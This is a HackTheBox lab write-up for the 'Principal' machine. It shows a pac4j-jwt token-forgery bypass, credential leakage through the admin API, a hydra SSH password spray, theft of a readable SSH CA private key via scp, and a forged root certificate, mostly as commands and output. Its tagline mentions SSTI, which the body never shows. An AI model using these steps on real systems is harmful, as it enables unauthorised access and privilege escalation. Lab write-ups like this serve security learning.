# Principal Writeup - HackTheBox

> Exploiting JWT algorithm confusion and SSTI vulnerabilities on a Linux machine to escalate privileges and capture the flag.

- **URL:** https://hackindex.io/writeups/principal
- **Platform:** HackTheBox
- **Difficulty:** Medium
- **Operating system:** Linux
- **Machine:** https://hacktheboxltd.sjv.io/principal
- **Tags:** ssti, authentication-bypass, jwt, privilege-escalation, password-cracking, cve-2026-29000
- **Authors:** [Joshua](https://hackindex.io/authors/joshua.md)
- **Read time:** 3 min read
- **Published:** 2026-04-05
- **Updated:** 2026-05-10

## Discovery

### Port Scan

```bash
scan_tcp_full $TARGET_IP
# PORT     STATE SERVICE    VERSION
# 22/tcp   open  ssh        OpenSSH 9.6p1 Ubuntu 3ubuntu13.14
# 8080/tcp open  http-proxy Jetty
# | http-title: Principal Internal Platform - Login
# |_http-server-header: Jetty
# | X-Powered-By: pac4j-jwt/6.0.3
```

Port 8080 runs a Java web application on Jetty. The `X-Powered-By` header immediately discloses the authentication framework and version: `pac4j-jwt/6.0.3`.

## Initial Access

### CVE-2026-29000 ,  pac4j-jwt JWE PlainJWT Authentication Bypass

CVE-2026-29000 affects pac4j-jwt versions before 4.5.9/5.7.9/6.3.3. When the server is configured to accept both JWE-encrypted and JWS-signed tokens, an attacker can wrap an unsigned PlainJWT inside a JWE envelope using only the server's RSA public key. The JWE layer decrypts successfully, but the inner PlainJWT bypasses signature verification entirely ,  allowing token forgery with no private key required.

The server exposes its public key at the JWKS endpoint:

```bash
curl http://$TARGET_IP:8080/api/auth/jwks
```

The exploit fetches the JWKS, wraps an arbitrary PlainJWT claiming `admin` / `ROLE_ADMIN` inside JWE, and presents it as a bearer token.

> [!NOTE]
> One important detail: the JWT timestamp validation checks clock skew. Synchronise the local clock to the server's time before running the exploit:

```bash
sudo date -s "$(curl -sI $TARGET_IP:8080 | grep -i '^Date:' | cut -d' ' -f2-)"
```

Then run the exploit:

```bash
python3 exp.py http://$TARGET_IP:8080 --user admin --role ROLE_ADMIN
# [*] Fetching JWKS from http://$TARGET_IP:8080/api/auth/jwks...
# [+] Found RSA public key (kid: enc-key-1)
# [*] Crafted PlainJWT for 'admin' with role 'ROLE_ADMIN'
# [+] Forged JWE token successfully
# [+] Final Token: eyJhbGci...
# [*] Accessing http://$TARGET_IP:8080/api/dashboard...
# [+] Success! Status: 200
# [+] Authenticated as: admin (ROLE_ADMIN)
```

Set the token in an environment variable for subsequent requests:

```bash
export JWT="<forged token>"
```

### API Enumeration

With admin access, enumerate available endpoints. The `/api/users` endpoint reveals a service account:

```bash
curl http://$TARGET_IP:8080/api/users -H "Authorization: Bearer $JWT" | jq .
# {
#   "username": "svc-deploy",
#   "note": "Service account for automated deployments via SSH certificate auth.",
#   "role": "deployer"
# }
```

The `/api/settings` endpoint leaks a credential in plaintext:

```bash
curl http://$TARGET_IP:8080/api/settings -H "Authorization: Bearer $JWT" | jq .
# {
#   "security": {
#     "encryptionKey": "$SVC_DEPLOY_PASSWORD",
#     "sshCaPath": "/opt/principal/ssh/"
#   }
# }
```

### SSH as svc-deploy

The `encryptionKey` value is reused as the SSH password for `svc-deploy`. Confirm with hydra across all enumerated users:

```bash
hydra -L users.txt -p '$SVC_DEPLOY_PASSWORD' ssh://$TARGET_IP
# [22][ssh] host: $TARGET_IP   login: svc-deploy   password: $SVC_DEPLOY_PASSWORD
```

```bash
ssh svc-deploy@$TARGET_IP
```

## Privilege Escalation

### SSH CA Key Theft

The `svc-deploy` user belongs to the `deployers` group. Enumerate files accessible to this group:

```bash
find / -group deployers -readable 2>/dev/null
# /etc/ssh/sshd_config.d/60-principal.conf
# /opt/principal/ssh
# /opt/principal/ssh/README.txt
# /opt/principal/ssh/ca
```

The SSH daemon configuration confirms certificate-based authentication is active:

```bash
cat /etc/ssh/sshd_config.d/60-principal.conf
# TrustedUserCAKeys /opt/principal/ssh/ca.pub
#
```

The CA private key at `/opt/principal/ssh/ca` is readable by `svc-deploy`. Copy it to the attacker machine:

```bash
# On attacker machine
scp svc-deploy@$TARGET_IP:/opt/principal/ssh/ca ca.key
chmod 600 ca.key
```

### Forging an SSH Certificate for root

With the CA private key, generate a new keypair and sign it as `root`:

```bash
ssh-keygen -t ed25519 -f root_cert -N ""
ssh-keygen -s ca.key -I "root" -n root root_cert.pub
# Signed user key root_cert-cert.pub: id "root" serial 0 for root valid forever
```

SSH in as root using the signed certificate:

```bash
ssh -i root_cert root@$TARGET_IP
# root@principal:~#
#
```

Root shell.

Related

## References

- [https://exploit-intel.com/vuln/CVE-2026-29000](https://exploit-intel.com/vuln/CVE-2026-29000) - CVE-2026-29000 pac4j-jwt JWE PlainJWT authentication bypass
- [https://nvd.nist.gov/vuln/detail/CVE-2026-29000](https://nvd.nist.gov/vuln/detail/CVE-2026-29000) - NVD, CVE-2026-29000
- [https://www.pac4j.org/](https://www.pac4j.org/) - pac4j security framework documentation
- [https://man.openbsd.org/ssh-keygen.1](https://man.openbsd.org/ssh-keygen.1) - OpenSSH ssh-keygen, certificate signing reference
